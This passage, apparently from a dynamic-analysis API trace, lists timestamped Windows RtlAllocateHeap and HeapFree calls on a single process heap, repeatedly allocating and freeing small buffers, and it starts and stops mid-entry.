Flags=0x0, Size=0x820) returned 0x3067040 [0122.512] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc2e) returned 0x307ad38 [0122.513] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.513] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.513] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.513] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.513] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.513] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.513] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.513] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.513] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x840) returned 0x3067040 [0122.513] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.513] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.513] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.513] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x860) returned 0x307ad38 [0122.513] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.513] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.513] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.513] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x860) returned 0x307ad38 [0122.513] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.513] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.513] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.513] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.513] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.513] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.513] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.513] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.513] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.513] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.513] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.513] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x840) returned 0x3067040 [0122.513] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.513] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.513] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.514] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x840) returned 0x3067040 [0122.514] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.514] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.514] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.514] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x3067040 [0122.514] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.514] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.514] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.514] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x3067040 [0122.514] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.514] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.514] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.514] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x3067040 [0122.514] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.514] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.514] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.514] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.514] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.514] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.514] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.514] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.514] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.514] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.514] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.514] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.514] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.514] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.514] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.514] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x3067040 [0122.514] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.514] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.514] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.515] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x3067040 [0122.515] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc46) returned 0x307ad38 [0122.515] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.515] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.515] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.515] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.515] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.515] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.515] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.515] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.515] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.515] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc2e) returned 0x307ad38 [0122.515] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.515] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.515] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.515] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.515] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x860) returned 0x307ad38 [0122.515] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.515] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.515] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.515] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x860) returned 0x307ad38 [0122.515] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.515] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.515] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.515] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.515] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.515] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.515] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.515] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.515] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.515] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.515] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.516] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x3067040 [0122.516] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc46) returned 0x307ad38 [0122.516] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.516] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.516] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.516] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.516] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x840) returned 0x3067040 [0122.516] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.516] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.516] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.516] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x840) returned 0x3067040 [0122.516] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.516] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.516] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.516] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x3067040 [0122.516] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.516] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.516] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.516] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x3067040 [0122.516] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.516] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.516] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.516] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x3067040 [0122.516] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.516] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.516] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.516] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.516] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.516] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.516] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.516] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.516] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.516] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.517] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.517] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.517] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.517] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.517] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.517] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x3067040 [0122.517] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.517] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.517] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.517] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x3067040 [0122.517] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc46) returned 0x307ad38 [0122.517] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.517] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.517] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.517] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.517] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.517] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.517] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.517] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.517] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x860) returned 0x307ad38 [0122.517] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.517] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.517] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.517] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x860) returned 0x307ad38 [0122.517] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.517] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.517] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.517] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.517] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.517] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.517] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.517] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.518] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.518] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.518] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.518] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x3067040 [0122.518] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc46) returned 0x307ad38 [0122.518] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.518] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.518] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.518] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.518] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x840) returned 0x3067040 [0122.518] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.518] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.518] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.518] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x840) returned 0x3067040 [0122.518] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.518] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.518] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.518] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x3067040 [0122.518] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.518] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.518] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.518] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x3067040 [0122.518] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.518] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.518] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.518] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x3067040 [0122.518] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.518] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.518] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.518] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.518] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.519] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.519] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.519] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.519] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.519] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.519] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.519] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.519] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.519] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.519] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.519] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x3067040 [0122.519] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.519] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.519] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.519] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x3067040 [0122.519] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc46) returned 0x307ad38 [0122.519] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.519] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.519] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.519] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.519] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.519] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.519] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.519] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.519] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x860) returned 0x307ad38 [0122.519] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.519] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.519] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.519] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x860) returned 0x307ad38 [0122.519] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.519] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.519] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.520] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.520] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.520] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.520] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.520] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.520] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.520] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.520] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.520] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x3067040 [0122.520] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc46) returned 0x307ad38 [0122.520] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.520] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.520] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.520] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.520] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x840) returned 0x3067040 [0122.520] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.520] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.520] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.520] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x3067040 [0122.520] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | 